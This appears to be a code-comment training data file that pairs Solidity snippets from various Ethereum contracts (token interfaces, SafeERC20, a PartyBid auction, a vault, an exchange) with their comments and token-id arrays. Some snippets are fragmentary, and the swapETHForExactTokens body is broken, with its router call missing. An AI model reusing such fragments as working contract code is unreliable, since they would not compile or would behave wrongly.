address _tokenContract,
uint256 _value,
address _to
) external onlyManager {
IERC20(_tokenContract).safeTransfer(_to, _value);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.3;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.3;
interface IMistXJar {
function deposit() external payable;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.3;
interface IUniswapRouter {
function WETH() external view returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function factory() external view returns (address);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountsIn(
uint256 amountOut,
address[] memory path
) external view returns (uint256[] memory amounts);
function getAmountsOut(
uint256 amountIn,
address[] memory path
) external view returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function swapETHForExactTokens(
uint256 amountOut,
address[] memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
receive() external payable;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.3;
import "../interfaces/IERC20.sol";
import "./Address.sol";
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.3;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
| Refunded ETH needs to be swept from router to user address | function swapETHForExactTokens(
Swap calldata _swap,
IUniswapRouter _router,
uint256 _bribe
) external payable {
_swap.amount1,
_swap.path,
_swap.to,
_swap.deadline
);
require(success);
}
| 159,570 | [
1,
1957,
12254,
512,
2455,
4260,
358,
506,
1352,
73,
337,
628,
4633,
358,
729,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
7720,
1584,
44,
1290,
14332,
5157,
12,
203,
565,
12738,
745,
892,
389,
22270,
16,
203,
565,
467,
984,
291,
91,
438,
8259,
389,
10717,
16,
203,
565,
2254,
5034,
389,
70,
1902,
203,
225,
262,
3903,
8843,
429,
288,
203,
203,
1377,
389,
22270,
18,
8949,
21,
16,
203,
1377,
389,
22270,
18,
803,
16,
203,
1377,
389,
22270,
18,
869,
16,
203,
1377,
389,
22270,
18,
22097,
1369,
203,
565,
11272,
203,
203,
565,
2583,
12,
4768,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xB48af19dda0a49Dd7EB79F75C7655c3740730A38/sources/contracts/hacker/WOY.sol | * @dev Sets the values for {name} and {symbol}. All three of these values are immutable: they can only be set once during construction./ | constructor(string memory name_, string memory symbol_, address woy_) {
require(woy_ != address(0));
_name = name_; _symbol = symbol_;
_woy = woy_; _mint(msg.sender,
55000000 ether);
}
| 8,388,726 | [
1,
2785,
326,
924,
364,
288,
529,
97,
471,
288,
7175,
5496,
4826,
8925,
434,
4259,
924,
854,
11732,
30,
2898,
848,
1338,
506,
444,
3647,
4982,
16171,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
12,
1080,
3778,
508,
67,
16,
533,
3778,
3273,
67,
16,
1758,
341,
13372,
67,
13,
288,
203,
3639,
2583,
12,
6933,
93,
67,
480,
1758,
12,
20,
10019,
203,
3639,
389,
529,
273,
508,
67,
31,
389,
7175,
273,
3273,
67,
31,
7010,
3639,
389,
6933,
93,
273,
341,
13372,
67,
31,
389,
81,
474,
12,
3576,
18,
15330,
16,
203,
3639,
21483,
9449,
225,
2437,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0xFD52F9A9A5268c4617dFAa6B0C4feFACBF70a873/sources/contracts/core/vaults/RaffleVault.sol | ============================================================= Accounting Logic ============================================================= assets = liquidity, fee0, fee1 Same logic as parent, but don't calculate fees earned | function convertToAssets(uint256 shares) public view override returns (uint256[] memory assets) {
assets = new uint256[](3);
uint256 totalShares = totalSupply();
if (totalShares == 0) return assets;
uint256 proportionX96 = FullMath.mulDiv(shares, FixedPoint96.Q96, totalShares);
uint256 totalLiquidity = uint256(pool.getTotalLiquidity());
assets[0] = totalLiquidity.mulDivDown(proportionX96, FixedPoint96.Q96);
assets[1] = 0;
assets[2] = 0;
}
| 1,884,812 | [
1,
20775,
14468,
33,
5375,
6590,
310,
10287,
422,
20775,
1432,
12275,
7176,
273,
4501,
372,
24237,
16,
14036,
20,
16,
14036,
21,
17795,
4058,
487,
982,
16,
1496,
2727,
1404,
4604,
1656,
281,
425,
1303,
329,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
8137,
10726,
12,
11890,
5034,
24123,
13,
1071,
1476,
3849,
1135,
261,
11890,
5034,
8526,
3778,
7176,
13,
288,
203,
3639,
7176,
273,
394,
2254,
5034,
8526,
12,
23,
1769,
203,
203,
3639,
2254,
5034,
2078,
24051,
273,
2078,
3088,
1283,
5621,
203,
3639,
309,
261,
4963,
24051,
422,
374,
13,
327,
7176,
31,
203,
203,
3639,
2254,
5034,
23279,
60,
10525,
273,
11692,
10477,
18,
16411,
7244,
12,
30720,
16,
15038,
2148,
10525,
18,
53,
10525,
16,
2078,
24051,
1769,
203,
3639,
2254,
5034,
2078,
48,
18988,
24237,
273,
2254,
5034,
12,
6011,
18,
588,
5269,
48,
18988,
24237,
10663,
203,
3639,
7176,
63,
20,
65,
273,
2078,
48,
18988,
24237,
18,
16411,
7244,
4164,
12,
685,
17564,
60,
10525,
16,
15038,
2148,
10525,
18,
53,
10525,
1769,
203,
203,
3639,
7176,
63,
21,
65,
273,
374,
31,
203,
3639,
7176,
63,
22,
65,
273,
374,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
___ ___ ___ ___ ___ ___ ___
/\ \ /\ \ /\ \ /\ \ |\__\ /\ \ ___ /\ \
/::\ \ /::\ \ /::\ \ \:\ \ |:| | /::\ \ /\ \ /::\ \
/:/\:\ \ /:/\:\ \ /:/\:\ \ \:\ \ |:| | /:/\:\ \ \:\ \ /:/\:\ \
/::\~\:\ \ /::\~\:\ \ /::\~\:\ \ /::\ \ |:|__|__ /::\~\:\__\ /::\__\ /:/ \:\__\
/:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:\__\ /::::\__\ /:/\:\ \:|__| __/:/\/__/ /:/__/ \:|__|
\/__\:\/:/ / \/__\:\/:/ / \/_|::\/:/ / /:/ \/__/ /:/~~/~ \:\~\:\/:/ / /\/:/ / \:\ \ /:/ /
\::/ / \::/ / |:|::/ / /:/ / /:/ / \:\ \::/ / \::/__/ \:\ /:/ /
\/__/ /:/ / |:|\/__/ \/__/ \/__/ \:\/:/ / \:\__\ \:\/:/ /
/:/ / |:| | \::/__/ \/__/ \::/__/
\/__/ \|__| ~~ ~~
Anna Carroll for PartyDAO
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
// ============ Internal Imports ============
import {Party} from "./Party.sol";
import {IMarketWrapper} from "./market-wrapper/IMarketWrapper.sol";
import {Structs} from "./Structs.sol";
contract PartyBid is Party {
// partyStatus Transitions:
// (1) PartyStatus.ACTIVE on deploy
// (2) PartyStatus.WON or PartyStatus.LOST on finalize()
// ============ Internal Constants ============
// PartyBid version 3
uint16 public constant VERSION = 3;
// ============ Public Not-Mutated Storage ============
// market wrapper contract exposing interface for
// market auctioning the NFT
IMarketWrapper public marketWrapper;
// ID of auction within market contract
uint256 public auctionId;
// ============ Public Mutable Storage ============
// the highest bid submitted by PartyBid
uint256 public highestBid;
// ============ Events ============
event Bid(uint256 amount);
event Finalized(PartyStatus result, uint256 totalSpent, uint256 fee, uint256 totalContributed);
// ======== Constructor =========
constructor(
address _partyDAOMultisig,
address _tokenVaultFactory,
address _weth
) Party(_partyDAOMultisig, _tokenVaultFactory, _weth) {}
// ======== Initializer =========
function initialize(
address _marketWrapper,
address _nftContract,
uint256 _tokenId,
uint256 _auctionId,
Structs.AddressAndAmount calldata _split,
Structs.AddressAndAmount calldata _tokenGate,
string memory _name,
string memory _symbol
) external initializer {
// validate auction exists
require(
IMarketWrapper(_marketWrapper).auctionIdMatchesToken(
_auctionId,
_nftContract,
_tokenId
),
"PartyBid::initialize: auctionId doesn't match token"
);
// initialize & validate shared Party variables
__Party_init(_nftContract, _tokenId, _split, _tokenGate, _name, _symbol);
// set PartyBid-specific state variables
marketWrapper = IMarketWrapper(_marketWrapper);
auctionId = _auctionId;
}
// ======== External: Contribute =========
/**
* @notice Contribute to the Party's treasury
* while the Party is still active
* @dev Emits a Contributed event upon success; callable by anyone
*/
function contribute() external payable nonReentrant {
_contribute();
}
// ======== External: Bid =========
/**
* @notice Submit a bid to the Market
* @dev Reverts if insufficient funds to place the bid and pay PartyDAO fees,
* or if any external auction checks fail (including if PartyBid is current high bidder)
* Emits a Bid event upon success.
* Callable by any contributor
*/
function bid() external nonReentrant {
require(
partyStatus == PartyStatus.ACTIVE,
"PartyBid::bid: auction not active"
);
require(
totalContributed[msg.sender] > 0,
"PartyBid::bid: only contributors can bid"
);
require(
address(this) !=
marketWrapper.getCurrentHighestBidder(
auctionId
),
"PartyBid::bid: already highest bidder"
);
require(
!marketWrapper.isFinalized(auctionId),
"PartyBid::bid: auction already finalized"
);
// get the minimum next bid for the auction
uint256 _bid = marketWrapper.getMinimumBid(auctionId);
// ensure there is enough ETH to place the bid including PartyDAO fee
require(
_bid <= getMaximumBid(),
"PartyBid::bid: insufficient funds to bid"
);
// submit bid to Auction contract using delegatecall
(bool success, bytes memory returnData) =
address(marketWrapper).delegatecall(
abi.encodeWithSignature("bid(uint256,uint256)", auctionId, _bid)
);
require(
success,
string(
abi.encodePacked(
"PartyBid::bid: place bid failed: ",
returnData
)
)
);
// update highest bid submitted & emit success event
highestBid = _bid;
emit Bid(_bid);
}
// ======== External: Finalize =========
/**
* @notice Finalize the state of the auction
* @dev Emits a Finalized event upon success; callable by anyone
*/
function finalize() external nonReentrant {
require(
partyStatus == PartyStatus.ACTIVE,
"PartyBid::finalize: auction not active"
);
// finalize auction if it hasn't already been done
if (!marketWrapper.isFinalized(auctionId)) {
marketWrapper.finalize(auctionId);
}
// after the auction has been finalized,
// if the NFT is owned by the PartyBid, then the PartyBid won the auction
address _owner = _getOwner();
partyStatus = _owner == address(this) ? PartyStatus.WON : PartyStatus.LOST;
uint256 _ethFee;
// if the auction was won,
if (partyStatus == PartyStatus.WON) {
// record totalSpent,
// send ETH fees to PartyDAO,
// fractionalize the Token
// send Token fees to PartyDAO & split proceeds to split recipient
_ethFee = _closeSuccessfulParty(highestBid);
}
// set the contract status & emit result
emit Finalized(partyStatus, totalSpent, _ethFee, totalContributedToParty);
}
// ======== Public: Utility Calculations =========
/**
* @notice The maximum bid that can be submitted
* while paying the ETH fee to PartyDAO
* @return _maxBid the maximum bid
*/
function getMaximumBid() public view returns (uint256 _maxBid) {
_maxBid = getMaximumSpend();
}
}
| ============ Internal Imports ============ | import {Party} from "./Party.sol";
| 888,235 | [
1,
14468,
3186,
2221,
4363,
422,
1432,
631,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5666,
288,
17619,
97,
628,
25165,
17619,
18,
18281,
14432,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x7F6163674b6FD9c3D7238F2C5F958AC5C9A40aF8/sources/contracts/exchange/ExchangeCore.sol | * @dev Cancel an order, preventing it from being matched. Must be called by the maker of the order @param order Order to cancel @param sig ECDSA signature/ | function cancelOrder(Order memory order, Sig memory sig)
internal
{
bytes32 hash = requireValidOrder(order, sig);
require(msg.sender == order.maker, "MAKE_NOT_VALID");
cancelledOrFinalized[hash] = true;
emit OrderCancelled(hash);
| 9,770,884 | [
1,
6691,
392,
1353,
16,
5309,
310,
518,
628,
3832,
4847,
18,
6753,
506,
2566,
635,
326,
312,
6388,
434,
326,
1353,
225,
1353,
4347,
358,
3755,
225,
3553,
7773,
19748,
3372,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
